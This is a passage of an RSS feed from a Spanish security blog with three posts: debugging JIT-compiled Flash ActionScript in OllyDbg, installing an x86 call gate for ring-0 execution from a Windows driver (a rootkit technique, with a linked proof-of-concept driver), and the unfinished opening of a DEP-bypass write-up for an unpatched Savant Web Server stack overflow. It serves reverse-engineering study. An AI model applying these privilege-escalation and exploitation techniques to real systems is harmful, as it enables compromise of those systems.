		<comments>http://blog.48bits.com/2010/02/15/debuggeando-codigo-jiteado-de-actionscript/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 21:20:27 +0000</pubDate>
		<dc:creator>Ariel E. Coronel</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1086</guid>
		<description><![CDATA[Luego de leer el paper presentado por Dionysus Blazakis en Black Hat DC 2010, me dieron ganas de ver un poco de que trata el rollo, pues sin tener conocimientos de como funciona ActionScript, nos la rebuscamos para debuggear con el Ollydbg el código JITeado de un ActionScript. Herramientas a utilizar: Ollydbg IDA Java JRE [...]]]></description>
			<content:encoded><![CDATA[<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Luego de leer el paper presentado por Dionysus Blazakis en Black Hat DC 2010, me dieron ganas de ver un poco de que trata el rollo, pues sin tener conocimientos de como funciona ActionScript, nos la rebuscamos para debuggear con el Ollydbg el código JITeado de un ActionScript.</p>
<p><span id="more-1086"></span><br />
<!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } 		A:link { so-language: zxx } --></p>
<p><strong>Herramientas a utilizar:</strong></p>
<p>Ollydbg<br />
IDA<br />
Java JRE ( el compilador del redtamarin es un jar )<br />
redtamarin ( <a href="http://code.google.com/p/redtamarin">http://code.google.com/p/redtamarin</a> )<br />
Alchemy ( <a href="http://labs.adobe.com/downloads/alchemy.html">http://labs.adobe.com/downloads/alchemy.html</a> )<br />
Process explorer o task manager <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->En su blog hace tiempo escribió una entrada llamada “Getting Pointers from Leaky Interpreters&#8221;, en la que explica como armando diccionarios de hash tables, se puede obtener un puntero hacia nuestro código.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->En ese post, el mostró un ejemplo hecho en actionscript que en ese momento no supo como compilarlo como SWF, pero menciono que compilador estaba utilizando a la hora de sus pruebas.<br />
Nuestro objetivo sera crear un SWF con un texto al estilo “Hola mundo”, y algunos XORs asi probamos que tan bien nos va identificando el código.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p><strong>Primer paso: Herramientas.</strong></p>
<p>Para poder generar nuestro swf a partir de un archivo .as ( actionscript ), necesitaremos descargar el redtamarin y el Alchemy.<br />
El redtamarin es el compilador ( asc.jar ) que utilizaremos para nuestro actionscript, el Alchemynos dara la lib playerglobal.abc.<br />
Copiaremos este ultimo file dentro del folder del tamarin como primer paso.</p>
<p><strong>Segundo paso: example.as</strong></p>
<div class="dean_ch" style="white-space: wrap;">package <span class="br0">&#123;</span></p>
<p><span class="kw3">import</span> flash.<span class="me1">display</span>.<span class="me1">*</span>;<br />
<span class="kw3">import</span> flash.<span class="kw3">text</span>.<span class="me1">*</span>;</p>
<p><span class="kw3">public</span> <span class="kw2">class</span> example <span class="kw3">extends</span> Sprite <span class="br0">&#123;</span><br />
<span class="kw3">public</span> <span class="kw2">function</span> example<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw2">var</span> <span class="kw3">text</span> = <span class="kw2">new</span> <span class="kw3">TextField</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw3">text</span>.<span class="kw3">width</span> = <span class="nu0">400</span>;<br />
<span class="kw3">text</span>.<span class="me1">x</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="me1">y</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="kw3">text</span> = <span class="st0">&#8216;looking for help&#8217;</span>;<br />
addChild<span class="br0">&#40;</span><span class="kw3">text</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Creo que no hace falta describir que hace esto xD</p>
<p><strong>Tercer paso: Hacer nuestro swf !</strong></p>
<p>Para generar un swf a partir de nuestro example.as iremos al cmd y ejecutaremos el asc.jar de la siguiente manera:</p>
<blockquote><p>java -jar asc.jar -swf example,400,400 -import builtin.abc -import playerglobal.abc example.as</p></blockquote>
<p>Lo único a comentar aquí es que el parámetro swf tiene como parámetros: classname,width,height.</p>
<p>El resultado de la ejecución en nuestro caso es: example.swf, 645 bytes written</p>
<p>Para ver nuestro swf podemos simplemente volcarlo dentro de nuestro navegador, o hacer algún simple html que lo cargue:</p>
<div class="dean_ch" style="white-space: wrap;">
&lt;object width=&quot;550&quot; height=&quot;400&quot;&gt;<br />
&lt;param name=&quot;movie&quot; value=&quot;example.swf&quot;&gt;<br />
&lt;embed src=&quot;example.swf&quot; width=&quot;550&quot; height=&quot;400&quot;&gt;<br />
&lt;/embed&gt;<br />
&lt;/object&gt;</div>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/02/Screenshot-1.png"><img class="size-medium wp-image-1095" title="example" src="http://blog.48bits.com/wp-content/uploads/2010/02/Screenshot-1-300x124.png" alt="" width="300" height="124" /></a></p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Vemos que va bien.. ahora le agregamos un simple while(true) para que podamos usarlo para encontrar el código JITeado.</p>
<div class="dean_ch" style="white-space: wrap;">
package <span class="br0">&#123;</span></p>
<p><span class="kw3">import</span> flash.<span class="me1">display</span>.<span class="me1">*</span>;<br />
<span class="kw3">import</span> flash.<span class="kw3">text</span>.<span class="me1">*</span>;</p>
<p><span class="kw3">public</span> <span class="kw2">class</span> example <span class="kw3">extends</span> Sprite <span class="br0">&#123;</span><br />
<span class="kw3">public</span> <span class="kw2">function</span> example<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw2">var</span> <span class="kw3">text</span> = <span class="kw2">new</span> <span class="kw3">TextField</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw3">text</span>.<span class="kw3">width</span> = <span class="nu0">400</span>;<br />
<span class="kw3">text</span>.<span class="me1">x</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="me1">y</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="kw3">text</span> = <span class="st0">&#8216;looking for help&#8217;</span>;<br />
addChild<span class="br0">&#40;</span><span class="kw3">text</span><span class="br0">&#41;</span>;<br />
<span class="kw1">while</span><span class="br0">&#40;</span><span class="kw2">true</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> a = <span class="br0">&#40;</span>0xAAAAAAAA ^ 0xBBBBBBBB ^ 0xCCCCCCCC ^ 0xDDDDDDDD <span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Aprovechamos y también le agregamos algunos valores para que los xoree, y de paso ver si lo podemos identificar en el debugger mientras vamos traceando. <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --><strong>Cuarto paso: Debuggear el codigo JITeado.</strong></p>
<p>Abrimos nuestro html, y antes de cargar el swf nos pide permiso para ejecutarlo, aquí nos attacheareamos con el Olly al IE8 en nuestro caso y veremos mínimo dos procesos del iexplore.exe corriendo, vamos a attacheanos al que tiene como window name  Sysfader.</p>
<p>El taskmanager o el process explorer lo dejaremos minimizado al tray asi podemos estimar que cuando entramos al loop infinito en nuestro código JITeado.</p>
<p>Le daremos Run al Olly, parara algunas veces en memory breakpoints en el flash10b pero nosotros seguiremos hasta que no tire excepciones y el cpu este como mencionamos anteriormente trabajando de manera constante al 100% ( en caso de que sea single core ), en este momento pausamos el proceso.</p>
<p>Iremos a la ventana de Threads, y buscaremos el nuestro que estará en el heap, ya que  la mayoría van a estar parados en la ntdll sera sencillo encontrar el único thread diferente.</p>
<p>Aquí pueden pasar dos cosas: la primera es que no estemos en el loop infinito, entonces empezaremos de 0 nuevamente, o bien puede ocurrir que encontremos el thread parado en el heap como en este caso:</p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/02/threads.png"><img class="alignnone size-medium wp-image-1098" title="threads" src="http://blog.48bits.com/wp-content/uploads/2010/02/threads-300x223.png" alt="" width="300" height="223" /></a></p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Ahora veamos el codigo algo mas completo:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<div class="dean_ch" style="white-space: wrap;">
&lt;span style=<span class="st0">&quot;font-size: x-small;&quot;</span>&gt;019C01E1 <span class="kw1">MOV</span> <span class="kw3">EAX</span>,<span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25EB0D8<span class="br0">&#93;</span><br />
019C01E7 <span class="kw1">TEST</span> <span class="kw3">EAX</span>,<span class="kw3">EAX</span><br />
019C01E9 <span class="kw1">JNZ</span> 019C025F<br />
019C01EF <span class="kw1">MOV</span> <span class="kw3">EAX</span>,<span class="nu0">1</span><br />
019C01F4 <span class="kw1">TEST</span> <span class="kw3">EAX</span>,<span class="kw3">EAX</span><br />
019C01F6 <span class="kw1">JNZ</span> 019C01E1<br />
019C01FC PREFIX <span class="kw1">REPNE</span>:<br />
019C01FD MOVUPS XMM0,DQWORD <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25815E0<span class="br0">&#93;</span><br />
019C0204 PREFIX <span class="kw1">REPNE</span>:<br />
019C0205 MOVUPS XMM1,DQWORD <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25815E8<span class="br0">&#93;</span><br />
019C020C PREFIX <span class="kw1">REPNE</span>:<br />
019C020D MOVUPS DQWORD <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP-2C<span class="br0">&#93;</span>,XMM1<br />
019C0211 PREFIX <span class="kw1">REPNE</span>:<br />
019C0212 MOVUPS DQWORD <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>ESP<span class="nu0">-8</span><span class="br0">&#93;</span>,XMM0<br />
019C0217 <span class="kw1">SUB</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
019C021A <span class="kw1">CALL</span> Flash10d.101F1C30<br />
019C021F <span class="kw1">ADD</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
019C0222 <span class="kw1">MOV</span> <span class="kw3">EBX</span>,<span class="kw3">EAX</span><br />
019C0224 <span class="kw1">PUSH</span> <span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP<span class="nu0">-28</span><span class="br0">&#93;</span><br />
019C0227 <span class="kw1">PUSH</span> <span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP-2C<span class="br0">&#93;</span><br />
019C022A <span class="kw1">CALL</span> Flash10d.101F1C30<br />
019C022F <span class="kw1">ADD</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
&lt;strong&gt;019C0232 <span class="kw1">XOR</span> <span class="kw3">EBX</span>,EAX&lt;/strong&gt;<br />
019C0234 PREFIX <span class="kw1">REPNE</span>:<br />
019C0235 MOVUPS XMM0,DQWORD <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25815F0<span class="br0">&#93;</span><br />
019C023C PREFIX <span class="kw1">REPNE</span>:<br />
019C023D MOVUPS DQWORD <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>ESP<span class="nu0">-8</span><span class="br0">&#93;</span>,XMM0<br />
019C0242 <span class="kw1">SUB</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
019C0245 <span class="kw1">CALL</span> Flash10d.101F1C30<br />
019C024A <span class="kw1">ADD</span> <span class="kw3">ESP</span>,<span class="nu0">8</span>&lt;strong&gt;<br />
019C024D <span class="kw1">XOR</span> <span class="kw3">EBX</span>,<span class="kw3">EAX</span><br />
019C024F <span class="kw1">XOR</span> <span class="kw3">EBX</span>,DDDDDDDD&lt;/strong&gt;&lt;strong&gt; <span class="co1">; It looks familiar right ? <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span><br />
019C0255 <span class="kw1">MOV</span> <span class="kw3">EAX</span>,<span class="nu0">4</span><br />
019C025A <span class="kw1">JMP</span> 019C0267<br />
019C025F <span class="kw1">MOV</span> <span class="kw3">ECX</span>,<span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP<span class="nu0">+8</span><span class="br0">&#93;</span><br />
019C0262 <span class="kw1">CALL</span> Flash10d.1020E410&lt;/span&gt;</div>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p><strong>Quinto paso: Automatizando con un script</strong></p>
<p>Hay varios caminos para tomar a la hora de llegar a donde empieza realmente nuestro código JITeado, adjunto un simple ODbgScript que mediante hardware breakpoints en VirtualProtect nos guiara hacia la presa <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Ejecutarlo una vez que tira la primer excepción como explicamos mas arriba en el posteo.</p>
<div class="dean_ch" style="white-space: wrap;">
; Get_my_JITed_AS.<span class="me1">osc</span> by sick</p>
<p>var cont<br />
var address<br />
var VirtualProtect</p>
<p>mov cont, <span class="nu0">0</span><br />
gpa <span class="st0">&quot;VirtualProtect&quot;</span>, <span class="st0">&quot;kernel32.dll&quot;</span><br />
mov VirtualProtect, $RESULT<br />
bphws VirtualProtect, <span class="st0">&quot;x&quot;</span></p>
<p>gogo:<br />
erun</p>
<p>cooking:<br />
eob SALCHICHACONPURE</p>
<p>SALCHICHACONPURE:<br />
cmp eip, VirtualProtect<br />
je vptect<br />
cmp eip, address<br />
je isdone<br />
jmp gogo</p>
<p>vptect:<br />
cmp <span class="br0">&#91;</span>esp<span class="nu0">+8</span><span class="br0">&#93;</span>, <span class="nu0">100</span><br />
jb gogo<br />
mov address, <span class="br0">&#91;</span>esp<span class="nu0">+4</span><span class="br0">&#93;</span><br />
bphws address, <span class="st0">&quot;x&quot;</span><br />
jmp gogo</p>
<p>isdone:<br />
inc cont<br />
cmp cont, <span class="nu0">1</span><br />
mov address2, address<br />
je gogo</p>
<p>add address, <span class="nu0">60</span><br />
bphws address, <span class="st0">&quot;x&quot;</span><br />
cmp cont, <span class="nu0">2</span><br />
je gogo</div>
<p>De aquí en mas pueden agregarle código a su Actionscript y seguir jugando <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Se agradece a Acid y Gera que colaboraron con el debugging del engine de Flash.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/02/15/debuggeando-codigo-jiteado-de-actionscript/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Rootkit Arsenal, Installing a Call Gate</title>
		<link>http://blog.48bits.com/2010/01/08/rootkit-arsenal-installing-a-call-gate/</link>
		<comments>http://blog.48bits.com/2010/01/08/rootkit-arsenal-installing-a-call-gate/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 04:15:01 +0000</pubDate>
		<dc:creator>David Reguera</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=856</guid>
		<description><![CDATA[Buenas, leyendo el libro “The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System” quería matizar un par de cosas sobre el capítulo “Hooking the GDT &#8211; Installing a Call Gate”. Al final del artículo se incluye un POC driver con el soporte del WalkGDT para varios COREs entre otras. Una Call [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas, leyendo el libro “<a href="http://www.amazon.com/Rootkit-Arsenal-Escape-Evasion-Corners/dp/1598220616">The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System</a>” quería matizar un par de cosas sobre el capítulo “Hooking the GDT &#8211; Installing a Call Gate”. Al final del artículo se incluye un POC driver con el soporte del WalkGDT para varios COREs entre otras.</p>
<p>Una Call Gate es un mecanismo en la arquitectura x86 de Intel para cambiar el nivel de privilegio de la CPU cuando se ejecuta una función predefinida llamada mediante una instrucción CALL/JMP FAR.</p>
<p>Una llamada a una Call Gate permite obtener un privilegio superior al actual, por ejemplo podemos ejecutar con un CALL FAR en ring3 una rutina en ring0. Una Call Gate es una entrada en la GDT (Global Descriptor Table) o en la LDT  (Local Descriptor Table).<br />
<span id="more-856"></span><br />
Windows no utiliza Call Gates para nada en especial, pero hay malware como el gusano <a href="http://www.f-secure.com/v-descs/gurong_a.shtml" target="_blank">Gurong.A</a>, que instala una Call Gate a través de \Device\PhysicalMemory para ejecutar código en ring0. Un artículo que ya hablaba sobre el tema es “<a href="http://www.phrack.com/issues.html?issue=59&amp;id=16">Playing with Windows /dev/(k)mem</a>” de crazylord publicado en la Phrack 59.</p>
<p>Hoy en día no se puede hacer tan fácilmente lo de acceder a /Device/PhysicalMemory, recomiendo leer la presentación de Alex Ionescu  en la RECON 2006 “<a href="http://www.recon.cx/en/f/aionescu-subverting-w2k3-kernel-integrity-protection.ppt">Subverting Windows 2003 SP1 Kernel Integrity Protection</a>“. También hay ejemplos por la red que usan la API ZwSystemDebugControl para instalar una Call Gate, pero como comenta el artículo de Ionescu tampoco funciona hoy en día (aunque siempre hay técnicas para reactivarlos de nuevo).</p>
<p>IMHO, la mejor manera para instalar una Call Gate es un driver como lo hace el ejemplo del libro Rootkit Arsenal, ahora voy a explicar el ejemplo que trae y añadir algunas cosas que veo que faltan:<br />
Una entrada en la GDT tiene esta pinta:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _SEG_DESCRIPTOR<br />
<span class="br0">&#123;</span><br />
WORD size_00_15;<br />
WORD baseAddress_00_15;<br />
WORD baseAddress_16_23:<span class="nu0">8</span>;<br />
WORD type:<span class="nu0">4</span>;<br />
WORD sFlag:<span class="nu0">1</span>;<br />
WORD dpl:<span class="nu0">2</span>;<br />
WORD pFlag:<span class="nu0">1</span>;<br />
WORD size_16_19:<span class="nu0">4</span>;<br />
WORD notUsed:<span class="nu0">1</span>;<br />
WORD lFlag:<span class="nu0">1</span>;<br />
WORD DB:<span class="nu0">1</span>;<br />
WORD gFlag:<span class="nu0">1</span>;<br />
WORD baseAddress_24_31:<span class="nu0">8</span>;<br />
<span class="br0">&#125;</span> SEG_DESCRIPTOR, *PSEG_DESCRIPTOR;</div>
<p>Y una Call Gate es un tipo de entrada en la GDT con el siguiente aspecto:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _CALL_GATE_DESCRIPTOR<br />
<span class="br0">&#123;</span><br />
WORD offset_00_15;<br />
WORD selector;<br />
WORD argCount:<span class="nu0">5</span>;<br />
WORD zeroes:<span class="nu0">3</span>;<br />
WORD type:<span class="nu0">4</span>;<br />
WORD sFlag:<span class="nu0">1</span>;<br />
WORD dpl:<span class="nu0">2</span>;<br />
WORD pFlag:<span class="nu0">1</span>;<br />
WORD offset_16_31;<br />
<span class="br0">&#125;</span> CALL_GATE_DESCRIPTOR, *PCALL_GATE_DESCRIPTOR;</div>
<p><strong>offset_00_15:</strong> es la parte baja de la dirección de la rutina que se ejecutará en ring0, offset_16_31 es la parte alta.<strong></strong></p>
<p><strong>selector: </strong>especifica el segmento de código, con el valor KGDT_R0_CODE (0&#215;8), la rutina se ejecutará con privilegios de ring0.<strong></strong></p>
<p><strong>argCount:</strong> es el número de argumentos de la rutina en DWORDs.<strong></strong></p>
<p><strong>type:</strong> es el tipo de descriptor, para una Call Gate de 32 bits necesita el valor 0xC<strong></strong></p>
<p><strong>dpl: </strong>es el privilegio mínimo que debe tener el código que llama para poder ejecutar la rutina, en te caso 0&#215;3, ya que será llamada por una rutina de ring3.</p>
<p>Los pasos para crear una Call Gate son:</p>
<ol>
<li> Construir la Call Gate que apunte a nuestra rutina.</li>
<li> Leer el registro GDTR para poder encontrar la GDT usando la instrucción: SGDT. El registro GDTR tiene la siguiente pinta:
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _GDTR<br />
<span class="br0">&#123;</span><br />
WORD &nbsp;nBytes;<br />
DWORD baseAddress;<br />
<span class="br0">&#125;</span> GDTR;</div>
</li>
</ol>
<p>Para obtener el número de entradas en la GDT basta con un GDTR.nBytes / 8.</p>
<ol>
<li> Buscar una entrada libre en la GDT.</li>
<li> Escribir la Call Gate.</li>
</ol>
<p>Para llamar a la Call Gate solo es necesario hacer un CALL FAR al selector de la GDT, es decir si hemos introducido la Call Gate en la entrada 6 de la GDT, la aplicación de espacio de usuario deberá ejecutar un CALL FAR 006:00000000. La otra parte del FAR CALL no sirve para nada pero debe estar en la instrucción.</p>
<p>La rutina de la Call Gate debe salvar los registros: EAX, ECX, EDX, EBX, EBP, ESP, ESI, EDI, EFLAGS y FS. Además debe desactivar las interrupciones con CLI. El selector de FS debe ser 0&#215;30, después solo es necesario restaurar los registros y activar las interrupciones con STI y un RETF si se desea volver a ring3. Todo esto está sacado de nt!KiDebugService() por si te lo estás preguntando.</p>
<p>Bueno y ahora es el momento de los matices, el POC code del libro no tiene en cuenta la posibilidad de existir varios COREs, esto quiere decir que solo es capaz de instalar la Call Gate en el CORE que toque cuando se cargue el driver y la GDT del otro CORE queda intacta, el problema es que si la aplicación de espacio de usuario hace un FAR CALL estando en otro CORE donde no existe la Call Gate no funcionará.</p>
<p>En Windows es sencillo controlar esto con dos APIs: para obtener el número de COREs se puede usar un simple</p>
<div class="dean_ch" style="white-space: wrap;">GetSystemInfo:<br />
<span class="kw4">void</span> WINAPI GetSystemInfo<span class="br0">&#40;</span><br />
__out  LPSYSTEM_INFO lpSystemInfo<br />
<span class="br0">&#41;</span>;</div>
<p>Para el número de COREs lógico se puede usar GetLogicalProcessorInformation.<br />
SYSTEM_INFO tiene la siguiente pinta:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _SYSTEM_INFO <span class="br0">&#123;</span><br />
&#8230;<br />
<span class="me1">DWORD</span>     dwNumberOfProcessors;<br />
&#8230;<br />
<span class="br0">&#125;</span>SYSTEM_INFO;</div>
<p>Con el campo dwNumberOfProcessors podemos realizar un bucle para ir CORE por CORE añadiendo la Call Gate, también se puede forzar al driver a instalar la Call Gate en el primer core (1) y que la aplicación de espacio de usuario solo se ejecute en el core 1, esto se consigue con la API: SetThreadAffinityMask, que es asín:</p>
<div class="dean_ch" style="white-space: wrap;">DWORD_PTR WINAPI SetThreadAffinityMask<span class="br0">&#40;</span><br />
__in  HANDLE hThread,<br />
__in  DWORD_PTR dwThreadAffinityMask<br />
<span class="br0">&#41;</span>;</div>
<p>Pasándole un GetCurrentThread() y como AffinityMask el valor 1,</p>
<div class="dean_ch" style="white-space: wrap;">Affinity = <span class="nu0">1</span>;<br />
SetThreadAffinityMask<span class="br0">&#40;</span> GetCurrentThread<span class="br0">&#40;</span><span class="br0">&#41;</span>, Affinity <span class="br0">&#41;</span>;</div>
<p>Ojito, DWORD_PTR no es un puntero a DWORD, se pasa por valor.</p>
<p>Si se hace un for con el número de procesadores y con la variable índice (el primero core es 1 no 0) como Affinity puedes instalar una Call Gate en todos los cores.</p>
<p>En el driver que adjunto como POC desde el driver muestro la GDT de todos los COREs para mostrar lo que digo, solo saldrá la Call Gate en un CORE.</p>
<p>Para hacer esto desde un driver es necesario un:</p>
<div class="dean_ch" style="white-space: wrap;">ZwQuerySystemInformation<span class="br0">&#40;</span> SystemBasicInformation, &amp;amp; system_basic_information, <span class="kw4">sizeof</span><span class="br0">&#40;</span> system_basic_information <span class="br0">&#41;</span>, <span class="kw2">NULL</span> <span class="br0">&#41;</span>;</div>
<p>Para obtener el número de cores y un:</p>
<div class="dean_ch" style="white-space: wrap;">ZwSetInformationThread<span class="br0">&#40;</span> <span class="br0">&#40;</span>HANDLE<span class="br0">&#41;</span> <span class="nu0">-2</span>, ThreadAffinityMask, &amp;amp; AffinityMask, <span class="kw4">sizeof</span><span class="br0">&#40;</span> AffinityMask <span class="br0">&#41;</span> <span class="br0">&#41;</span>;</div>
<p>Para cambiar de core, -2 es el equivalente del GetCurrent…</p>
<p>Otra cosa rara del POC del libro es que pasaba la GDT por valor y no el puntero a PrintGDT y eso me daba problemas, lo he cambiado para que se pase como PSEG_DESCRIPTOR y todo funciona sin problemas.</p>
<p>Y esto es todo, el código es bastante claro, espero que se haya entendido, un saludo desde 48bits.</p>
<p>Descargar el driver desde aquí: <a href="http://www.48bits.com/files/cgaty.rar">http://www.48bits.com/files/cgaty.rar</a></p>
<p>Driver probado en: XP y VISTA (bin driver: WinDDK 6001.17121 &amp; XP x86 Free build).</p>
<p>Algunas lecturas sobre call gates:</p>
<p><a href="http://www.phrack.com/issues.html?issue=59&amp;id=16">http://www.phrack.com/issues.html?issue=59&amp;id=16</a><a href="http://en.wikipedia.org/wiki/Call_gate"></p>
<p>http://en.wikipedia.org/wiki/Call_gate</a></p>
<p><a href="http://www.intel.com/design/processor/manuals/253668.pdf">http://www.intel.com/design/processor/manuals/253668.pdf</a><br />
<a href="http://ricardonarvaja.info/WEB/OTROS/TUTES%20SACCOPHARYNX/">http://ricardonarvaja.info/WEB/OTROS/TUTES%20SACCOPHARYNX/</a><br />
<a href="http://members.fortunecity.com/blackfenix/callgates.html">http://members.fortunecity.com/blackfenix/callgates.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/01/08/rootkit-arsenal-installing-a-call-gate/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Saltándonos DEP: a lo Savant</title>
		<link>http://blog.48bits.com/2010/01/03/saltandonos-dep-a-lo-savant/</link>
		<comments>http://blog.48bits.com/2010/01/03/saltandonos-dep-a-lo-savant/#comments</comments>
		<pubDate>Sun, 03 Jan 2010 17:42:29 +0000</pubDate>
		<dc:creator>jon</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[dep]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[savant]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=805</guid>
		<description><![CDATA[Estas últimas 3 semanas he estado picado con un bug que me decidí a salsear para seguir aprendiendo más cosas de estas que no se enseñan en la escuela. El bug en cuestión se trata de un clásico stack overflow en la version 3.1 y inferiores de Savant Web Server. A pesar de haber varios [...]]]></description>
			<content:encoded><![CDATA[<p>Estas últimas 3 semanas he estado picado con un bug que me decidí a salsear para seguir aprendiendo más cosas de estas que no se enseñan en la escuela. El bug en cuestión se trata de un clásico stack overflow en la version 3.1 y inferiores de Savant Web Server. A pesar de haber varios exploits ya publicados para este fallo, todos ellos estaban diseñados para funcionar en XP SP2 o inferiores. En mi caso particular se dio la coincidencia de que tengo instalada una maquina virtual de 2003 Server SP1. Este sistema tiene dos peculiaridades. La primera, es que desde Service Pack 1 incluye soporte para tecnologias DEP o lo que los chicos de Microsoft llaman <em>prevención de ejecución de datos</em>. La segunda tiene que ver con las politicas de implantación de DEP. Tal y como MS nos cuenta en <a title="Microsoft" href="http://support.microsoft.com/kb/875352" target="_blank">su web</a>, existen varias politicas definidas para ello. La que nos interesa es la llamada <strong>OptOut</strong>, la cual por defecto activa DEP para todos los procesos del sistema que explícitamente no indiquen lo contrario.</p>
<p>Volviendo al tema del bug en cuestión, como ya he dicho se trata de un clásico overflow de buffer en la pila. En este caso la situación se dá cuando un usuario realiza una petición HTTP que no está reconocida, o dicho de otra forma, cuando el usuario tiene ganas de marcha. He dicho que se trata de un clásico overflow en la pila, y eso no es nada nuevo. Cierto. Pero por algo hemos comentado el DEP en Windows 2003 Server SP1. Hablando en plata, lo que no he encontrado en ningún sitio es un exploit público que sobrepase DEP para este bug, y puesto que ya está hecho a lo mejor le sirve de ayuda a alguien para sus futuros planes de dominar el mundo <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Bromas aparte, por motivos éticos, no voy a publicar el codigo del exploit, por dos razones basicas:</p>
<ul>
<li>Cualquiera que séa capaz de entender este post, es capaz de escribir su propio exploit.</li>
<li>El bug sigue sin ser corregido en la última versión del software.</li>
</ul>
<p>Desgraciadamente, parece ser que el proyecto lleva algún tiempo abandonado y aprovechando esto, con motivos siempre educativos, vamos a ver que se puede hacer. Odio tener que poner disclaimers en los posts, pero es mejor prevenir que curar. El que utilice lo aquí mostrado con cualquier tipo de fin, lo hace bajo su propia responsabilidad y sin ninguna garantía. Accediendo a esta pagina estas de acuerdo con lo aquí mencionado. Ahora al lio.</p>
<p><span id="more-805"></span></p>
